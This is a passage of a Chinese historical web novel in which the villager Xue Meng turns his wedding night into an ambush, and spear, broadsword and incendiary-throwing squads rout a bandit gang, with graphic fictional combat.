臂力、握力、腰力、腿力全都有了质的飞跃。
出枪不再发抖,步伐日渐灵敏,眼神也越来越坚毅锋锐。
待宰的羊羔,在一匹母狼的残酷淬炼下,终于展露一丝狼性和凶狠!
手中的木枪,也都换成了一戳一个血窟窿的真家伙!
拼命的不光有裴红玉和长枪队。
这三天时间,罗飞、郑灵均也都拼命磨炼着手下的队伍。
现在练得越狠,真正厮杀时伤亡才会越少!
薛猛更是与铁艺坊匠人同吃同住,不眠不休。
老白头实在扛不住了,还写了封信,让寇达火速送出去,找来了外援——当年匠造营的四个老弟兄!
加上薛猛,铁艺坊十个人,加班加点赶制出十把诸葛连弩,二十把劈山大刀。
寇芳则被薛猛派去一线天,采集醉仙桃花粉和石松孢子,装在竹筒里。
采来这些东西干什么薛猛没说,但既然是薛猛吩咐的事情,她也只好尽力而为。
除了巡猎队、铁艺坊,整个卧虎村没人知道土匪将至,村民们全都盼着吃薛家的喜酒,整天乐呵呵的!
林雅娴不知道自己男人在外面忙什么,但她隐隐察觉到将有大事发生。
但她从来不过问,只是每日亲手做好饭食,送到铁艺坊去,有时看着薛猛打铁,替他擦擦汗。
薛猛也没有多和林雅娴解释,说多了反而怕她担心。
夫妻俩保持着默契。
吃着林雅娴亲手做的饭菜,薛猛只觉能量百倍,疲惫一扫而空。
饭堂的饭菜虽然也不差,但终究还是比不上自己婆娘亲手做的。
三天时间转瞬而逝,大婚之期悄然而至。
古代结婚,一般都是选择在黄昏举办酒宴,因为昏同“婚”,寓意吉利。
霞光轻披山肩,晚风拂落花红。
夕阳悬于高天,似红灯笼普照大地,映红了大半个卧虎村。
在乱世夹缝中摇摇欲坠的小山村,今日却平添了几分喜庆之气。
“快快,马上就要开宴了,新郎官的衣服还没换好吗?”
“误了吉时可了不得!”
薛家院子里,炊烟蒸腾,酒肉香气满溢。
宴席太多,院子里摆不下,摆到了门前大路上。
卧虎村三百口村民,几乎全都到齐了。
施工队、采石队、伐木队今天也全部停工吃席。
看着桌上丰盛酒菜,所有人都馋得狂咽口水,但没有人动筷。
所有人的目光,都注视着薛家紧闭的卧房门。
林小鱼带着村里的小孩儿,守在卧房门口,手里提着装满桃花瓣的竹篮。
“等我姐夫和两个姐姐出来,所有人就一起撒花,完事儿我给你们黑糖块吃!”
“好好,咱们都听鱼老大的!”
孩子们纷纷点头如捣蒜,眼中只有对糖块的渴望。
旁边的喜乐班,也都拉开架势,坐等新人出来!
卧房内,红儿、翠儿正给薛猛换新衣服。
鱼胶坊的少妇们,则忙着给徐瑾儿和林雅娴梳妆打扮。
今夜,虽不算薛猛的人生巅峰,但绝对是一个难忘的夜晚!
不光是纳徐瑾儿为妾,同时也是补办和林雅娴的婚礼!
一鱼双吃!
当然,这场婚宴背后,还隐藏着一个惊天杀局。
能不能将老鸦坎那帮土匪一网打尽,就在此一举了!
一鱼三吃!
“先生,你说薛公子会喜欢我的礼物吗?”
院中,茅仪手里捧着一个精美的卷轴,对同桌的徐守业问道,心情有些忐忑。
“先生?”
见徐守业望着村口方向怔怔出神,茅仪轻轻推了徐守业一下。
徐守业一哆嗦,回过神来:“哦,茅仪,怎么了?有什么事吗?”
茅仪怔了怔,他还是第一次见先生走神。
先生刚才在看什么呢?
茅仪朝村口方向看了看,什么也没有。
“先生,我将薛公子上次作的词题在了这幅画上,想送他作为新婚礼物,薛公子会喜欢吗?”
徐守业闻言,点头道:“你能特地赶来参加他的喜宴,他肯定会喜欢的!”
说完,又朝村口方向望去,老眸中闪过一抹浓浓的隐忧。
村口没有一点防备,连个拒马、铁蒺藜之类的基础防御措施都没布置。
若是老鸦坎的土匪长驱直入,该如何是好?
长根儿今天到底是唱哪出啊?
“来了来了,出来了!!”
高亢的唢呐声骤然响起,乐班的老伯们开始卖力敲锣打鼓。
喜庆气氛瞬间被烘托到了极点。
紧闭房门应声打开。
在林小鱼的带动下,等候多时的孩子们欢呼雀跃,撒起了桃花瓣。
漫天花雨纷飞,薛猛左手牵着林雅娴,右手携着徐瑾儿,一家三口,同时迈出门槛。
瞬间吸引了无数的惊艳目光!
薛猛一身玄袍,如墨泼就,袖口衣襟有赤红滚边,用金线绣着精细云纹。
虎目含星,鼻梁高挺。
身姿挺拔,猿臂狼腰。
英雄年少,气宇非凡。
看得在座的姑娘妇人,皆是脸红心跳,目不转睛,心都快跳出嗓子眼了。
“薛公子真乃人中龙凤也!”
茅仪眼中大放异彩,看着薛猛英武不凡的样子,心中满是羡慕,只恨自己天生文弱,不像薛猛这样文武双全。
担忧土匪来袭的徐守业,此时也将目光收回,看着神采奕奕的薛猛,捋了捋胡须,对自己选中的女婿,自是相当满意。
薛猛左侧,林雅娴身着正红色织金襦裙。
朱唇轻抿,仪态万方,眉眼间透着成熟韵味又不失贤惠温良。
右侧的徐瑾儿,一袭桃红色襦裙,裙摆之上用金丝绣的蝴蝶翩跹飞舞。
头上虽斜插发钗,梳着妇人头,但脸蛋上稚气未脱,两腮泛着红晕,杏眼水润灵动。
琼鼻小巧,樱唇不点而朱,恰似沾露的海棠,娇俏中透着少女的纯真可爱。
三人并肩而立,恰如金风玉露相逢,胜却人间无数。
共同构成了一幅令人赏心悦目的美好画面。
赚足了羡慕目光!
“亲家,恭喜啊,得此良婿,你以后就等着享清福吧。”
徐守业握住同桌赵氏的手,笑呵呵地说道。
“同喜同喜。“
赵氏笑着笑着,莫名有些辛酸哽咽,想起了英年早逝的老伴儿。
“老头子啊,你在天有灵看到了吗?咱女儿终于苦尽甘来,熬出头了!”
“嫁了个大丈夫啊!”
吉时已到,婚宴正式开始!
“拜堂成亲咯!”
随着支客师一声尾音拉长的高喝。
赵氏、徐守业二老被请上高堂,代薛父、薛母,接受三个新人奉茶,见证拜堂仪式。
“一拜天地!”
“二拜高堂!”
“夫妻对拜!”
“新人奉茶!”
“礼成!”
礼成瞬间,院子里顿时锣鼓喧天,热闹非凡。
馋了一天的村民们,终于等到了这激动人心的一刻。
纷纷开始对着桌上的酒菜大快朵颐,暴风吸入。
……
银月如钩,夜风萧索!
沉浸在喜悦中的村民全然不知,就在卧虎村不远处的山道上,人头攒动,沙尘飞扬!
上百名草寇,在三个骑着驽马身穿皮甲的头领率领下,径直朝着卧虎村杀奔而来!
犹如一群饥渴已久的饿狼,亟待饮血!
第59章 长枪队,列阵!
到了村东口老杨树下,隔老远就看见村子里有户人家灯火通明,锣鼓喧天。
为首的老鸦坎大当家马青锋,勒缰驻马,叫来山猫子,问道:“山猫子,可是雪字旗办招待?”
山猫子指着那户人家,连连点头:“对,那就是薛家!”
马青锋哈哈大笑:“好哇!弟兄们,玉子好受吗?”
“好受!”
身后众草寇齐声应道。
马青锋又问:“伞头子好受吗?”
“好受!”
马青锋满脸荡笑:“此地定有漂亮的地牌二五,弟兄们砸了窑,也好赶赶蛋儿!”
“临了发卖出去,每牌至少四五尺水头!可好受?”
“好受!!!”
草寇们面目疯狂,全都邪荡大笑起来,手中屠刀在夜色中闪着瘆人冷光!
山猫子听得脊背发寒,不敢吭声。
完了。
卧虎村完蛋了!
当年血洗刘庄,马青锋只召集了一百人!
而这次居然来了整整一百五十人!
薛家恐怕要重蹈当年刘庄的覆辙了!
原本他以为薛猛之前那么有自信,是早就准备好了。
可今天一看,村口连一点防御设施都没布置,分明就是毫无防备,敞开大门让土匪进入!
这不是找死吗?
若薛猛今晚真的死了,自己体内的毒可怎么办?
山猫子心里急坏了,一时没了方寸。
“郑叔,这帮土匪叽叽哇哇说啥呢,怎么还不进村送死?”
隐藏在房顶上的罗飞,凑近郑灵均耳边,压低声问道。
郑灵均常在江湖上走,自然懂得一些匪帮黑话。
“隔得有点远,没太听清,好像那大头领,是在鼓动手下的喽啰!”
“问他们喜不喜欢喝酒,喜不喜欢吃肉,那群喽啰都说喜欢!”
“那大头领又说,此地肯定有漂亮的妇人姑娘,抢了薛家,弟兄们可以随便玩弄村里的妇人姑娘!”
“耍完之后,全部卖到外县窑子里去,每人能值四五两银子,问喽啰们愿不愿干!”
“喽啰们士气都很高,说今晚要血洗了卧虎村!”
这群畜生!
听完,罗飞牛眼圆瞪,咬牙切齿,肺都快气炸了。
“薛大哥说得对,这些土匪已经不是人了,全都是山里的豺狼虎豹!”
“只要他们敢踏入村子一步,定要杀他个片甲不留!”
隐藏在暗处的大刀队队员,听到这些话,也都是满脸杀气。
紧紧握住手中的劈山大刀,一双双眼睛都喷着火,恨不得现在就冲过去把这些土匪砍杀了去。
他们的身后,有他们的亲娘、亲爹,有他们的妻子、儿女!
今天就是豁出命去,也绝不能让这些土匪攻破卧虎村!
“大家不要冲动,一切都按薛贤侄的计划进行!”
“罗飞,你也归位吧,村北也要好生把守!待会儿保不齐,会有漏网之鱼往你们那边逃跑!”
郑灵均压了压这帮年轻崽子的情绪,冷静道。
“放心吧,我绝不会让一个草寇活着走出卧虎村!”
罗飞借着夜色掩护悄然摸回了村北路口,手下十名投掷手早已在村北设下埋伏,人人手中都拿着火折子和竹筒。
“弟兄们都给我打起精神来!待会儿若有土匪想要从咱们这儿逃跑,都给我把竹筒点燃狠狠往他们头上招呼!”
“放心吧队长,这些天我们都练了几百遍了,一投一个准儿!绝对不会放过这帮龟孙儿!”
黑暗中,众人摩拳擦掌,信心满满。
“弟兄们,随我杀进去!”
见卧虎村村口一点防备都没有,老鸦坎大当家“铁刀王”马青锋高举手中青锋砍刀,一声大吼。
就要拍马冲锋,带着身后一众草寇长驱直入。
“大哥不可!”
二当家“穿云箭”向准,手拿雕弓,连忙出声劝阻:“大哥,这里太过安静,我担心里面有埋伏啊!”
三当家“铜锤将”孟宽,扛着两柄铜锤,瓮声瓮气道:“二哥,你又来了!每次砸窑,就你疑神疑鬼!这村民都去薛家吃喜酒了,村口当然安静了,有什么可奇怪的!”
“纵然真有埋伏,凭俺这一对三十斤铜锤砸过去,谁能挡我?到时候你要是害怕,躲在俺屁股后面就行了!”
向准一咬牙:“孟老三,你懂个屁!像你这么鲁莽,迟早会吃大亏!”
孟宽满脸不服:“我看你就是胆小怕事!亏你还考过武秀才呢,胆子这么小,还当什么土匪!”
马青锋抬手喝道:“行啦,自家兄弟吵什么吵!老二,为兄知道你为人谨慎,咱们老鸦坎能有今日这般壮大,也多亏了你小心经营。”
“但这次你真的多虑了,这卧虎村不过是个小村子,一帮泥腿子哪里懂什么埋伏?”
“他们又能拿什么埋伏?镰刀还是锄头哇?”
“哈哈哈!”
马青锋话落,身后众匪全都哈哈大笑起来。
“当年刘庄有上百乡勇,不照样被我们夷为平地!如今咱们比当年更加强大,放眼整个白虎乡,没有村庄能够抵挡我们!”
“你若害怕,就留在这儿等我们的好消息吧!”
“弟兄们,给我冲!!!”
马青锋高举砍刀,拍马上前,率领五十名手拿砍刀的草寇,朝着村东口的乡道鱼贯而入,直接冲进了卧虎村。
“二哥,弟兄我可先走一步了!待会儿要是遇到漂亮地牌二五,可别怪我不给你留!”
孟宽朝向准嘿嘿一笑,率领五十名拿铁棍的草寇,紧随马青锋之后冲入卧虎村。
“哼!你们这么鲁莽,迟早会吃亏的!”
望着大哥、三弟离去的背影,向准满脸无奈,随即对山猫子问道:“山猫子,你真打探清楚了,卧虎村一点防备都没有?”
山猫子点点头:“是啊!”
“也罢,大哥、三弟都进去了,我若是不去,定然让他们笑话!短弓营的弟兄,随我冲进去,务必要小心埋伏!”
向准犹豫了一下,一咬牙,带着手下五十名短弓手,朝卧虎村冲了进去。
不多时,一百五十名草寇全部进入了卧虎村中。
三名头领在十字路口重新汇合。
马青锋对向准笑道:“哈哈!老二,你看,是不是你多虑了?村子里哪有什么埋伏?咱们这一路走来,连个人影儿都没看见!”
“山猫子,前面有三条岔路,哪条去薛家最快?”马青峰对山猫子问道。
“山猫子?嘿!这瘪犊子……人呢?”
马青锋扫视一圈,发现山猫子居然不见了。
没了山猫子这个“活地图”,他们对卧虎村的布局一无所知。
“这小子准是撒尿去了,懒驴上磨屎尿多,每回儿砸窑,他不都这德行吗?”孟宽咧嘴笑道。
马青锋点点头,满脸邪笑:“既然如此,咱们就不等他了,反正这鸟村子就这么大点地盘!咱们三兄弟兵分三路,比比看谁先到薛家,新娘子就归谁!”
“哈哈,那肯定是我啊!新娘子!你孟大爷来啦!!”
孟宽闻言狂喜,带着五十名手下率先朝着村南路冲去。
“这个老三真是色中饿鬼,一听新娘子谁跑得过他啊!”
马青锋无奈苦笑,随即对向准问道:“老二,你选哪条路?大哥让你先选!”
向准眉头轻皱,扭头看了看来时路,路面上空荡荡的,但他心里总感觉不对劲。
好像暗处有眼睛盯着他们。
偏偏这个时候,山猫子却又不见了。
“大哥,我总感觉,这个村子怪怪的!今天下山的时候,我右眼皮一直跳个不停,要不咱们还是先别进去了,等山猫子回来再说!”
马青锋脸上笑容一敛,没好气道:“老二,你再这么疑神疑鬼,动摇军心,我就没你这个二弟!”
“就这么个鸟村子,老子想来就来,想走就走,怕他个鸟蛋!”
马青峰话音刚落。
“啊啊啊!”
忽听村南传来一声声凄厉惨嚎!
马青锋和向准皆是一惊,连忙循声扭头看去,只见先前还自信满满的老三孟宽,满脸仓惶之色,带着手下匆忙折返了回来。
进去五十名手下,出来只剩下不到三十人,身上还全都挂了彩,不少人手里的武器都丢了。
“大哥,这条路走不得,里面有埋伏!”
孟宽满脸惊恐,肝胆欲裂,抹了把脸上的血,急忙说道。
“贼寇!卧虎村长枪队在此,哪里走!!”
不等马青锋吃惊,只听村南路一声冰冷娇叱响起,宛若晴空霹雳。
裴红玉一袭红衣,头上红绳飘扬,手中钢枪寒光闪迸!
冰眸圆瞪,气势汹汹,宛如玉面罗刹!
率领长枪队从村南路冲杀而来!
“什么?!”
“这么个小村子,哪来的长枪队?!难不成是官兵来了?”
马青锋双目圆瞪,大吃一惊。
手下草寇一听“官兵”,全都慌了神。
第60章 杀得土匪丢魂丧胆
“弟兄们莫要惊慌,这些长枪队没有着甲,不是官兵,不过是些自发组织的乡勇罢了!”
向准同样是吃惊不小,但毕竟考过武举,有些见识,很快便发现了端倪。
“弟兄们,不要乱!都听二当家的,给我上!砍死他们!”
听了向准的话,马青锋这才反应过来,挥舞砍刀指挥手下朝着裴红玉的长枪队扑了上去。
“来得好!长枪队,列阵!看我裴家枪法!第一式,朝天指喉,杀!!”
随着裴红玉一声娇叱。
“哈……杀!!!”
长枪队队员迅速列阵,挡在村南路口,目光如炬,扭腰蹬腿,手中长枪齐齐朝前方扎刺而出。
噗噗噗!
挥舞着砍刀状若虎狼的草寇,连长枪队的衣角都没碰到,便被锋锐的钢制枪头刺穿咽喉,挑飞在地。
转瞬之间,冲在最前排的十名草寇,砍刀脱手落地,当场殒命!
“啊?!!”
鲜血飞溅开去,其余草寇见状,全都大惊失色,不敢再贸然上前。
马青锋目赤欲裂,扭头对向准惊声喊道:“老二!你踏马不是说,这些人不是官兵吗?怎么这么厉害!”
向准深吸一口气,也是愣了神。
怎么会这样?
这些人没有着甲,看穿着也都是村民打扮,显然不是官兵,顶多就是些乡勇!
可他们这列阵出枪的章法,却并非寻常庄稼把式,而是训练有素,杀气凛然,甚至比普通的官兵还要厉害!
向准目光一扫,落在了立于长枪队之后,发号施令的裴红玉身上:“大哥,我明白了!这些长枪手,全都听那娘们儿的号令!”
“咱们只要拿下这娘们儿,这些泥腿子自然就会乱了章法!”
马青锋瞪了裴红玉一眼,骂道:“妈了个巴子!原来是这么回事!弟兄们,都给我上!谁抓住这小娘们儿,赏钱五百文,粮米三十斤!”
赏钱五百文,粮米三十斤!
对于这帮草寇而言,已经算是重金了!
一群草寇顿时来了精神,挥舞砍刀铁棍,再次朝着长枪队发起冲锋,但这次他们都是冲着裴红玉去的。
裴红玉冷哼一声,对付这些乌合之众,根本不需要她动手。
“裴家枪法第二式,拨草寻蛇,杀!”
随着裴红玉一声令下。
“杀!”
十名长枪手枪头垂地,左支右扫,专挑草寇下三路挑刺。
“啊啊!啊!”
草寇们全都防备着头脸和咽喉,下盘反倒空虚,顷刻之间便被扫倒一大片。
“第三式,滑步追枪!”
“第四式,垫步刺杀!”
“……”
“杀杀杀!别把这些畜牲当人,就像杀野猪一样,杀光他们!”
裴红玉挺着腰背着手,眼神犀利,宛若在打谷场上训练一般,口中一声声指令接连喊出。
长枪队频繁变阵,招式千奇百怪,看得草寇们眼花缭乱,稍不留神身上不知什么地方就多出个血窟窿。
到死都不知道自己是怎么死的!
一番交锋下来。
草寇寸步难进,尸横遍地。
马青锋手下五十名刀手,只剩下三十人不到。
“大哥,这些村民显然是早有防备,好汉不吃眼前,咱们还是原路返回吧!回头再来报仇!不然还不知道前面有多少埋伏呢!”
向准见势不对,急忙喊道。
马青锋看着手下弟兄接连倒地,气得几乎快要吐血。
死了这么多弟兄!
就这么走?
传出去让他以后还怎么在道上混?
“弟兄们别怕!他们再厉害,也不过区区十个人,咱们这么多人,耗也耗死他们!”
马青锋高举青锋砍刀,准备亲自带队冲杀:“弟兄们,随本大王一并杀上去!”
“大哥,万万不可意气用事啊!当心他们背后还有埋伏!咱们得赶快撤!”
向准已经意识到这是一个圈套,连忙拉住马青锋,强行拽着他想要从村东口原路返回。
“卧虎村大刀队在此,贼寇休走!”
就在这时,原本空荡荡的村东口尽头,骤然响起一声爆喝!
“贼寇休走!”
一声声爆喝接连响起。
两边房顶之上,跃下十一道身影。
人人光着膀子,肩扛劈山大刀,刀环下垂着红绸,飒飒飘扬。
为首一人眼冒精光,虬髯赤发,生得虬筋板肋,胸口一撮黑毛。
背后背着一口虎头砍刀。
手里捉着一口劈山大刀。
宛若立地阎罗。
十一个人往路口一站,气势犹如千军万马!
“杀!”
郑灵均一马当先,拔出背后虎头砍刀,双刀在手,如恶虎出林。
带着手下十名大刀手,冲入草寇群中,刀光闪迸,犹如切瓜剁菜,杀得残肢遍地,人头乱滚。
大刀队的战斗方式,简单粗暴!
相比起长枪队的进退有度,场面更加血腥残暴。
骨碌碌人头滚地。
血浆像不要钱似的四处泼洒,给卧虎村的村道染上了一层耀眼红漆!
“还有埋伏?!糟了,咱们中计了!”
马青锋肝胆欲裂,终于反应过来,向准说的是对的,这村子真有古怪!
他本就是铁匠出身,靠着手里的青锋砍刀起家,手下心腹也多是刀手。
这些年,随着他出生入死,几乎未尝败绩!
然而,当他引以为傲的青锋刀,碰到大刀队的劈山大刀时,竟然像纸糊的一样不堪一击,一碰就碎!
马青锋彻底看傻了眼。
打了一辈子铁,他从没见过这么厉害的“神兵利器”!
今天真是邪了门,先是遇上阵列章法不亚于官兵的长枪队,现在又被这手拿不知名“神兵”的大刀队,堵住退路!
难不成自己堂堂“铁刀王”,真的要栽在这个小破村子里?!
“老三,村南和村东都走不了了,你快带大哥往村北跑吧!!这里由我抵挡!”
向准推了愣神的孟宽一把。
孟宽这才如梦初醒,点点头,拽着马青锋,快马朝着村北逃去。
“短弓营!给我放箭!”
向准留了下来,冷静指挥手下短弓手列阵,准备利用远程优势,射杀势不可挡的大刀队!
向准本人更是从背后箭筒抽出一支鹰羽箭,开弓搭箭,三棱箭头对准了砍人最狠的郑灵均!
咻!
疾风呼啸,羽箭破空射出。
“郑叔,当心!”
裴红玉见势不对,一声怒吼,手中长枪横扫而去,径直扫断了一排短弓手手中短弓,顺势挡下了向准这一箭!
向准一怔,调转箭头,朝裴红玉射去,随后立即拍马朝着村西方向逃窜而去。
裴红玉舞了个枪花,挡开了向准的羽箭,再回过神来,却已经不见了向准的身影。
裴红玉咬牙道:“这家伙还真狡猾!竟然让他给跑了!”
“裴姑娘不必担心,村西有弓弩队埋伏,他跑不了的!”
听了郑灵均这话,裴红玉不禁想起薛猛几天前发明的连弩,顿时不寒而栗。
当时试射的时候,裴红玉就发誓,这辈子绝对不能和薛猛当敌人!
这家伙太丧心病狂了!
居然发明出那么恐怖的杀人利器!
所谓兵败如山倒。
老鸦坎三个当家的全都跑了,剩下的草寇们顿时乱了章法,被长枪队、大刀队围而歼之。
裴红玉长枪舞动。
郑灵均刀光乱闪。
宛若两台人形收割机,疯狂收割着草寇的性命!
当最后一个草寇人头落地。
惨叫声戛然而止。
“大刀队歼敌三十七人!”
“长枪队歼敌四十二人!”
“长枪队无一伤亡,大刀队有两人受了些皮外伤!”
大刀队副队长王五,清点了地上草寇人头,并一一补了刀,向队长郑灵均汇报道。
郑灵均轻抚颌下虬髯,双目微眯:“还剩七十一个!”
“这些土匪太怂了,跑得贼快,不然我还能多杀他几个!”
裴红玉冰眸闪烁,意犹未尽。
郑灵均扭头看向村北,幽幽道:“接下来就看罗飞贤侄的了!他们手里有薛贤侄发明的新式武器,那些草寇可要遭老罪了……”
第61章 马青锋慌了
卧虎村里血流成河,尸横遍地。
而薛家院子里,却是大红灯笼高高挂,一片喜庆热闹景象。
薛猛特意吩咐喜乐班老伯们,卖力吹拉弹唱,声音震天价响,盖过了村里厮杀声。
村民们酒足饭饱,全都聚在院子里,听茅仪和着喜乐班的拍子唱小曲儿。
“撒帐东,帘幕深围烛影红。”
“新郎新娘来相伴,画堂日日是春风。”
“撒帐中,鸳鸯交颈戏芙蓉。”
“从今百年歌好合,红罗帐里乐融融。”
茅仪一袭青衣,手拿折扇,风度翩翩,词唱通俗易懂,唱腔圆润大气。
村民们听得全都鼓掌叫好。
洪雅县第一才子不在亭台楼阁里吟诗作赋,反而在这小山村里,给一帮泥腿子唱通俗小曲。
这要是被洪雅县其他文人士子看到,估计会以为茅仪疯了。
但茅仪却是乐在其中。
比起跟那些富家公子饮酒作诗,这种和老百姓打成一片的感觉,让他感到更加自在。
而在这喜庆热闹的氛围中。
徐瑾儿却是如坐针毡,徐守业愁眉紧锁,林雅娴也意识到村子里有些不对劲。
虽然喜乐班故意把音乐声弄得很大,盖住了一部分声音,但他们还是隐约能听见村子里传来一些奇怪的动静。
“大家吃好喝好玩好!今晚都先别急着回家,待会儿还有戏班子,给大家表演喷火、变脸,还有戏法!”
薛猛端着酒杯,站在院子里对乡亲们说道。
听说有戏法看,小孩儿们都乐坏了!
在这个娱乐节目近乎于无的时代,看变戏法,对村民们来说是极其难得的表演。
“长根儿啊,你真是太破费啦!这饭也吃了酒也喝了曲儿也听了,戏就不看了,婶子跟你道个谢,就先回去了。”
张婶脸色酡红,醉醺醺地来到薛猛面前,说完就要走。
薛猛连忙一把拽住张婶:“婶子,见外了不是?今儿可是我大喜日子,你怎么能吃完饭就走呢?”
“待会儿听听戏,实在困了就在我家睡。”
“那怎么行!你今晚不得和两个新娘子入洞房啊?”
张婶满脸不好意思:“我还是回去吧!”
张婶家住在村北,那边估计打得正热闹呢!
薛猛哪里敢放她回去!
“兰香啊,别急着走嘛!来,咱俩再喝点!”
薛猛正愁怎么留住她,林大强醉醺醺地走了过来,一把搂住了张婶的肩膀,亲昵喊道:“兰香啊,俺俩投缘呐!”
“你男人死得早,我婆娘也死得早,俺有好多心里话想对你说,你别走嘛!”
“大强,俺比你大那么多,俺俩不合适。”张婶嘴上这么说,可神情明显有些羞涩了。
“兰香,年龄不是问题,你摸摸我的心,可热乎了……对了,俺家有只猫,会后空翻,俺带你进屋去看!”
“真的?”
林大强几句话,就把张婶忽悠到了柴房里去,把门一关,张婶今晚是别想走了。
呼!
薛猛松了口气。
还得是大舅哥啊!
老葱也吃,不挑食!
“恩公!”
一道纤细黑影,悄无声息从房顶落下。
薛猛扭头一看,见是寇芳,连忙上前问道。
“怎么样,村子里战况如何?”
寇芳回道:“恩公,你真是料事如神!老鸦坎那帮土匪,果然被长枪队、大刀队杀得晕头转向,现在全都往村北、村西跑了!”
“好!干得漂亮!”
薛猛心中一喜。
随即让寇芳继续监视村中战局,而后转身进了里屋,脱下婚服,换上一身玄色劲装,背上箭筒,拿起竹胎复合弓。
砰!
一脚踹开后院窗户,一跃而出,抄近路朝着村西火速赶去!
土匪残兵逃至村北,必然遭到罗飞阻击,最终走投无路只能往村西逃跑。
村西作为草寇最后的必经之路,乃是重中之重!
虽然村西已有弓弩手埋伏,但薛猛还是有些不放心,决定亲自赶去坐镇!
林雅娴察觉不对,后脚跟进里屋,发现窗户开着,窗台上留下半个鞋印。
薛猛的婚服,随意丢在床头。
挂在墙上的弓,还有红木盒子里的狼牙箭头,都不见了。
一看这场面,她心里咯噔一下,猜到了什么。
“林姐姐,薛大哥呢?”
徐瑾儿也跟了进来。
“瑾儿,长根儿有事,今晚咱俩入洞房!”
啊?
徐瑾儿小嘴微张。
还没等她反应过来怎么回事,林雅娴已经一把将她推倒在床上。
林雅娴警觉地瞥了眼门后晃动的几道黑影,使劲儿摇晃着床架子,故意弄出咯吱咯吱的响声,时不时还哼唧两声。
啪啪!
“呃啊!”
还伸手拍打徐瑾儿屁股,让她也叫了出来。
门外,听墙根儿的婶子们听见这动静,全都捂嘴偷笑起来。
“刚才看长根儿急匆匆进屋,还以为出什么事了!”
“原来是着急入洞房啊!”
婶子们放下了心,全都安心等着看戏班唱戏,也不急着走了。
……
“吁!”
卧虎村村北,马青锋勒缰驻马,环顾四周完全陌生的环境,朝手下问道:“我们这是到哪儿来了?还在村子里吗?”
身后一众草寇,灰头土脸,犹如惊弓之鸟,人人自危,无人回应。
“山猫子这个混账,关键时刻拉稀摆带!等我回去,我非把他大卸八块!”
马青锋气急败坏,要不是山猫子信誓旦旦地说卧虎村一点防备都没有,他们也不至于被突然冒出来的长枪队、大刀队打得措手不及。
偏偏这小子还不知道跑哪儿去了!
弄得他们跟个没头苍蝇一样,在卧虎村里乱窜。
“老三,你带人去前面探探路!”
有了前车之鉴,马青锋不敢再冒进,指了指前面的拐角处,对老三孟宽命令道。
“啊?我?”
孟宽一怔。
想起先前贸然冲进村南路,差点被藏在暗处的长枪队给戳死,孟宽仍旧心有余悸。
马青锋没好气地瞪了他一眼:“不是你,难不成要我去探路?”
大哥发话,孟宽不得不从,只好点了手下几个喽啰,喝道:“你们几个,过去探路!”
“啊?”
几个被点到的倒霉喽啰,满脸惊恐。
“快去啊!难不成要我去探路?!”
孟宽一瞪眼,挥舞手里的铜锤,凶神恶煞道。
几名喽啰迫不得已,只能拿起刀棍,颤颤巍巍向前面的巷子里走去。
没走几步,一阵刺鼻的臭味扑面而来,熏得人泪水横流。
隐隐约约,可以看见村北路口尽头的一棵歪脖子老树上,挂着一道黑影,被风吹得摇摇晃晃。
几名喽啰壮着胆子,点起火把,捏紧鼻子,凑上前一看,顿时吓得魂飞魄散,屁滚尿流!
只见那挂在歪脖子老树上的黑影,赫然是一个人。
一个烂得流黄水的死人!
皮都烂掉了,露出白骨、血肉。
蛆虫在鼻孔、口腔里蠕动。
还有不少掉落在地上,到处乱爬。
“桀桀!”
忽然,那死人裂开嘴,冲他们露出一个古怪的笑容。
“啊!鬼啊!!”
几名喽啰吓得魂飞魄散,撒腿往回跑,然而刚出巷子,就发现背后的弟兄们全都消失不见了。
取而代之的是一群群面目狰狞,眼冒绿光的妖怪,朝他们围了上来!
“啊啊啊!!”
“别过来!”
“老子跟你拼了!”
几名喽啰惊恐至极,纷纷拿起砍刀,朝着那些向他们围上来的怪物拼命挥砍!
第62章 攻守易形
“你们几个疯了?!”
孟宽看见几个喽啰退了回来,命人上前问问他们前面有没有埋伏。
却不想这几个喽啰像魔怔了一般,挥刀就朝自己的弟兄砍了过来!
方才被长枪队和大刀队围追堵截,死里逃生,这些草寇本就已是惊弓之鸟,受不得半点刺激,几个喽啰一动手砍人,顿时就引爆了全场。
所有人都开始发疯一样乱砍身边的人。
到了这种时候,每个人只想着自己活下去就行!
别人死了也无所谓!
什么狗屁弟兄,都不如自己的命重要!
“踏马的,这到底是怎么一回事?!怎么自己人打起来了!”
马青锋被眼前这一切彻底搞蒙了。
难不成撞邪了?!
“大哥,弟兄们全都疯了!已经控制不住了!这条路也过不去了!”
砰!
孟宽手中铜锤砸下,亲手砸碎了手下一名心腹小弟的脑袋。
眼里含着泪,对马青锋嘶声喊道:“大哥,咋办啊,你快拿个主意啊!”
看着手下的弟兄自相残杀,马青锋目赤欲裂,眼中血丝交织,一时也是失了方寸。
“哈哈哈!”
就在这时,不知从什么地方响起猖狂大笑。
那笑声,回荡在众人头顶,听得人头皮发麻,不寒而栗。
“尔等草寇听着!”
“你们已经入了你罗飞爷爷的迷魂阵!”
“入我阵者,神魂颠倒,敌我不分,自相残杀,十死无生!”
“今日,此地便是你们葬身之地!!!”
“投掷队,燃烧弹准备!点火!抛!!”
罗飞站在房顶之上,大手一挥,四处民宅的窗户齐齐打开。
隐藏其后的投掷手,纷纷用火折子点燃手中竹筒引线,将竹筒朝着空地上的草寇头顶抛去。
砰砰砰!
竹筒在草寇头顶上空炸开,一声声爆响,宛若平地惊雷!
火光闪烁!
烟雾弥漫!
竹筒里的石松孢子被引燃后,瞬间爆发出强烈的闪光,让人不敢直视。
竹筒炸开的刹那,里面的铁砂、桐油和工用鱼胶被烧得滚烫,飞溅而出!
燃烧的鱼胶黏在皮肤上,无论如何也甩不掉!
“啊啊啊……”
不少草寇全都成了火人,倒在地上翻滚哀嚎!
“怎么回事?这又是什么邪法?!”
马青锋大惊失色,看着一个个手下接连倒地,心如刀绞。
“咻!”
就在马青锋惊慌失措之际,卧虎村西边半空中,骤然传来一声箭哨。
“是二弟的穿云箭?二弟冲出去了?!撤!快往西边撤!”
马青锋眼中顿时有了一丝希望,扯着嗓子大吼道。
经历一次次死里逃生,最终跟随孟宽和马青锋逃到村西的手下,只剩下不到二三十人。
而且多是缺胳膊少腿,或是身上严重灼伤毁容,要么就是眼瞎耳聋。
来时浩浩荡荡,气势汹汹的一百五十人!
半个时辰不到,就被杀得丢魂丧胆,宛若断脊之犬,仓皇逃窜!
马青锋肠子都悔青了。
今天带来的心腹,死伤大半!
就连那些冲着他老鸦坎的旗号,前来助拳的棒匪,也都被杀得不剩下几个!
可到头来,他们却连薛家的门槛都没摸到。
真是偷鸡不成,反倒赔光了本钱!
纵然逃出去,老鸦坎也已经元气大伤,再来复往日辉煌!
